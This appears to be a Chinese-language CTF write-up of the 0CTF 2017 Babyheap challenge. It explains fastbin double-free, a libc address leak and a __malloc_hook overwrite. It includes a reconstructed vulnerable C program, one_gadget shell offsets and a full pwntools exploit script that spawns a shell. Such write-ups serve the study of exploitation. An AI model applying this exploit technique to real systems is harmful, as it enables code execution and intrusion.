最近在学习堆, 看了how2heap 上的fastbin_dup
,例子都还挺简单的,然后学做了下0CTF 2017的Babyheap,然后开启了新大陆,发现我以前根本就不会Pwn……
fastbin_dup 先说下how2heap上的例子,一个是fastbin_dup.c 还有一个是fastbin_dup_into_stack
其实这两个例子挺简单的,看懂我上一篇讲fastbin的blog,对着代码看看应该很容易理解,第一个其实就是演示下fastbin的2free,第二个是演示利用fastbin的2free,malloc出一个特定的地址,很简单的,其实就是通过修改fastbin的fd,太简单了就不多讲了…
Babyheap 题目我github上有: https://github.com/Hcamael/CTF_repo/tree/master/0CTF%202017/Pwn10(Baby%20Heap%202017)
这题是有个libc库的,这题的难点在哪?我觉得就是开了PIE保护,地址随机化,之前我blog中做的那些题我们是可以知道bin中的地址的,比如got
表,plt
表啊,.bss
或者.data
里啥变量的地址啊,那都是在没开PIE的情况,当开了PIE,任何地址我们都是未知的。
还有一个难点就是调试不好调试(我最近从peda换成了pwndbg),有两个难点,首先是有个alarm,每次调试的时候都要跳过执行这个函数,要不然就在bin中patch掉这个函数,还有个应该是因为PIE的原因,调用一个函数的时候pwndbg没办法帮我显示函数命了,害我还要去查这个函数是malloc还是free。这两个太影响我调试的进度了,所以我根据bin复现了一个逻辑相同的源码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 #include <stdlib.h> #include <stdio.h> long int list [16 *3 ];void menu () { puts ("1. Allocate" ); puts ("2. Fill" ); puts ("3. Free" ); puts ("4. Dump" ); puts ("5. Exit" ); puts ("Command: " ); } int read_str (char *s, int len) { int tmp, x, r; char buf; if (len){ tmp = 0 ; while (len-1 > tmp){ x = read(0 , &buf, 1 ); if (x>0 ){ if (buf==10 ) break ; *(s+tmp) = buf; tmp++; } else break ; } *(s+tmp) = 0 ; r = tmp; } else r = 0 ; return r; } long read_int () { char s[8 ]; read_str(&s, 8 ); return atol(s); } void alloca_chunk () { long int n; char *add; for (int i=0 ; i<=15 ; i++) { if (!list [i*24 ]){ printf ("Size: " ); n = read_int(); if (n > 0 ) { if (n > 4096 ) n = 4096 ; add = calloc (n, 1 ); if (!add) exit (-1 ); list [24 *i] = 1 ; list [24 *i + 8 ] = n; list [24 *i + 16 ] = add; printf ("Allocate Index %d\n" , i); } return ; } } } long fill_data (long index, long len) { long n, m, r; if (len){ n = 0 ; while (n < len){ m = read(0 , list [index*24 +16 ], len-n); if (m > 0 ) n += m; else break ; } r = n; } else r = 0 ; return r; } void fill_chunk () { long result, index; printf ("Index: " ); result = read_int(); index = result; if ((result & 0x80000000 ) == 0 && result <= 15 ) { result = list [result*24 ]; if (result == 1 ){ printf ("Size: " ); result = read_int(); if (result > 0 ){ printf ("Content: " ); result = fill_data(index, result); } } } return ; } void free_chunk () { long r, index; printf ("Index: " ); r = read_int(); index = r; if (r >= 0 && r <= 15 ){ r = list [index*24 ]; if (r == 1 ){ list [index*24 ] = 0 ; list [index*24 +8 ] = 0 ; free (list [index*24 +16 ]); list [index*24 +16 ] = 0 ; } } return ; } long write_data (long addr, long len) { unsigned long n; int s; n = 0 ; while (n < len) { s = write(1 , addr+n, len-n); if (s > 0 ) { n += s; } else break ; } return n; } void dump_chunk () { long r, index; printf ("Index: " ); r = read_int(); index = r; if (r >=0 && r <=15 ) { r = list [index*24 ]; if (r == 1 ) { puts ("Content: " ); write_data(list [index*24 +16 ], list [index*24 +8 ]); puts ("" ); } } } int main (void ) { unsigned long n; setbuf(stdin , 0 ); setbuf(stdout , 0 ); for (;;){ menu(); n = read_int(); switch (n){ case 1 : alloca_chunk(); break ; case 2 : fill_chunk(); break ; case 3 : free_chunk(); break ; case 4 : dump_chunk(); break ; case 5 : return 0 ; } } }
我还原的代码和bin差别还是挺多的,但是4个函数的逻辑基本相同,还原这个代码只是为了方便我调试,所以并不开PIE,然后调试的时候当做我开了😏
我总结了下,这题已经可以分为三个姿势
PS: calloc和malloc是差不多的,区别很小,具体的自行google
leak libc address 第一步基本都是想着泄露地址,这题利用堆有一个泄露libc地址的姿势
首先,先简单的说,一个small bin,它的fd和bk会指向top chunk(剩下的small bin, large bin, unsortbin还有一个remainder我之后应该也会写blog),指向的不是top chunk的地址,而是指向top chunk指针,再详细点就是,在arena中有一个地方存放的是top chunk的地址,在fastbin之后remainder之前(上一篇讲fastbin的应该有提及到),而fd和bk就是会指向这个地址,而arena是位于libc的.data
区域,所以arena的地址也就是libc的地址,而我们有了libc库,所以也能算出其他地址。
在这之前,还得解决一个问题,就是怎么输出fd或者是bk,当free了之后就没法dump了。所以这里就得利用到之前提到的fatbin_dup
了
现在就来详细的说下,首先,malloc出下面这样的堆空间
地址
0-8 byte
9-f byte
id:0/0x00
0
0x21
0x10
0
0
id:1/0x20
0
0x21
0x30
0
0
id:2/0x40
0
0x21
0x50
0
0
id:3/0x60
0
0x91
0x70
0
0
id:4/0xf0
0
0x91
首先是malloc出3个fast chunk和两个small chuank,small chunk这里malloc出两个是因为如果free的small chunk下面是top chunk,则触发unlink合并机制,也就没有啥fd和bk了,所以malloc出两个,然后free第一个
这里还有一个问题,上面表中的地址我可不是乱写的,因为要页对齐的原因,我们虽然不知道malloc的具体地址空间,但是我们却能知道最后一个byte的值就是我上面标的这样的
第一步我们先free(2),然后我们再free(1),这个时候的堆是这样的:
地址
0-8 byte
9-f byte
id:0/0x00
0
0x21
0x10
0
0
0x20
0
0x21
0x30
0x40
0
0x40
0
0x21
0x50
0
0
然后在bin中有一处很明显的漏洞,fill函数中输入的数据长度是在fill函数中由你输入的,而不是你malloc的长度,所以这里就存在堆溢出,比如我malloc(0x10),但是我fill却可以输入0x30的数据。
利用这个方法,我们可以通过fill(0),从而修改0x30地址的第一个byte,修改成0x60,payload:
1 2 3 payload = p64(0 )*3 payload += p64(0x21 ) payload += p8(0x60 )
这样我们再malloc(0x10),获取到了0x20,再次malloc(0x10),并不能获得到0x60,讲fastbin的时候讲过,malloc有check机制,会check长度,因为0x60的长度是0x90,所以会失败。
解决方案也很简单,在free(2)之前,我们先fill(2),修改成0x21,payload:
1 2 payload = p64(0 )*3 payload += p64(0x21 )
这个时候的堆是这样的:
地址
0-8 byte
9-f byte
id:0/0x00
0
0x21
0x10
0
0
id:1/0x20
0
0x21
0x30
0
0
0x40
0
0x21
0x50
0
0
id:3/id:2/0x60
0
0x21
然后fill(1),payload:
1 2 3 4 payload = p64(0 )*3 payload += p64(0x21 ) payload += p64(0 )*3 payload += p64(0x91 )
来修复small chunk的size
这时候就能成功的free(3)
这个时候的堆:
地址
0-8 byte
9-f byte
id:0/0x00
0
0x21
0x10
0
0
id:1/0x20
0
0x21
0x30
0
0
0x40
0
0x21
0x50
0
0
id:2/0x60
0
0x91
0x70
fd(*top_chunk)
bk(*top_chunk)
然后我们再dump(2),就能获取到libc的地址了
malloc hook 这对我来说也是一个新的知识点
1 2 3 4 5 6 7 pwndbg> x/36gx 0x7ffff7dd1b20-0x40 0x7ffff7dd1ae0 <_IO_wide_data_0+288>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1af0 <_IO_wide_data_0+304>: 0x00007ffff7dd0260 0x0000000000000000 0x7ffff7dd1b00 <__memalign_hook>: 0x00007ffff7a92e20 0x00007ffff7a92a00 0x7ffff7dd1b10 <__malloc_hook>: 0x0000000000000000 0x0000000000000000 0x7ffff7dd1b20 <main_arena>: 0x0000000100000000 0x0000000000000000 0x7ffff7dd1b30 <main_arena+16>: 0x0000000000000000 0x0000000000000000
在arena的上面,有个malloc_hook,当这个地址的值不为0时,我们执行malloc将会先跳到malloc_hook的地址上执行指令
所以这里就有一个思路了,我们把malloc_hook给赋值一个执行shell指令的地址,该地址假设为0x23333
然后我们执行malloc函数,不就可以拿到shell了么
覆盖malloc_hook倒挺简单的,就是通过上面的fastbin_dup方法,malloc出最大是malloc_hook-0x16的地址,然后通过fill来覆盖malloc_hook
这里的唯一问题就是malloc的长度检查,然后fastbin的size范围是0x20-0x80
这个问题也好解决,我们可以看看上面的数据,储存了一些地址,而这些地址的高位都是0x7f,所以我们可以修改偏移,这样:
1 2 3 4 5 6 pwndbg> x/10gx 0x7ffff7dd1b20-0x33 0x7ffff7dd1aed <_IO_wide_data_0+301>: 0xfff7dd0260000000 0x000000000000007f 0x7ffff7dd1afd: 0xfff7a92e20000000 0xfff7a92a0000007f 0x7ffff7dd1b0d <__realloc_hook+5>: 0x000000000000007f 0x0000000000000000 0x7ffff7dd1b1d: 0x0100000000000000 0x0000000000000000 0x7ffff7dd1b2d <main_arena+13>: 0x0000000000000000 0x0000000000000000
这样,就成功构造了一个有效size
然后我们利用fastbin_dup,达到malloc(0x60)返回改地址的目的,然后把malloc_hook的地址覆盖成0x23333就好了
上面的利用过程我们不需要知道具体的地址,我们只需要知道这个地址和我们之前泄露出来的地址之前的差值就能计算出来该地址了
寻找getshell指令 我看了别人的wp,发现使用一个one_gadget 工具
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 $ one_gadget libc.so.6 0x41374 execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL 0xbac7d execve("/bin/sh", rsi, r12) constraints: [rsi] == NULL || rsi == NULL [r12] == NULL || r12 == NULL 0xbaccc execve("/bin/sh", [rbp-0x48], r12) constraints: [[rbp-0x48]] == NULL || [rbp-0x48] == NULL [r12] == NULL || r12 == NULL 0xd6e77 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL 0xdaa50 execve("/bin/sh", r9, rdx) constraints: [r9] == NULL || r9 == NULL [rdx] == NULL || rdx == NULL
可以找到好几个能getshell的指令
T:那么以前做栈溢出的时候是不是泄露出libc地址后可以直接跳到这个地址了,就不用再自己构造system(‘/bin/sh’)了?下次去试试
感觉自己从来就不会Pwn……继续努力学习新姿势
最后附上PoC:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 from pwn import *def alloc (size ): r.sendline('1' ) r.sendlineafter(': ' , str (size)) r.recvuntil(': ' , timeout=5 ) def fill (idx, data ): r.sendline('2' ) r.sendlineafter(': ' , str (idx)) r.sendlineafter(': ' , str (len (data))) r.sendafter(': ' , data) r.recvuntil(': ' ) def free (idx ): r.sendline('3' ) r.sendlineafter(': ' , str (idx)) r.recvuntil(': ' ) def dump (idx ): r.sendline('4' ) r.sendlineafter(': ' , str (idx)) r.recvuntil(': \n' ) data = r.recvline() r.recvuntil(': ' ) return data if __name__ == '__main__' : debug = 1 if debug: context.log_level = "debug" r = process("./test" ) else : r = remote("127.0.0.1" , 10000 ) r.recvuntil(': ' ) alloc(0x10 ) alloc(0x10 ) alloc(0x10 ) alloc(0x80 ) alloc(0x80 ) payload = p64(0 )*3 payload += p64(0x21 ) fill(2 , payload) free(2 ) free(1 ) payload = p64(0 )*3 payload += p64(0x21 ) payload += p8(0x60 ) fill(0 , payload) alloc(0x10 ) alloc(0x10 ) payload = p64(0 )*7 payload += p64(0x91 ) fill(1 , payload) free(3 ) arena_top = u64(dump(2 )[:8 ]) log.info("arena_top_chunk: " + hex (arena_top)) alloc(0x60 ) free(3 ) fill(2 , p64(arena_top - 139 )) alloc(0x60 ) alloc(0x60 ) payload = '\x00' *3 payload += p64(0 )*2 payload += p64(arena_top - 3556100 ) fill(5 , payload) alloc(233 ) r.interactive()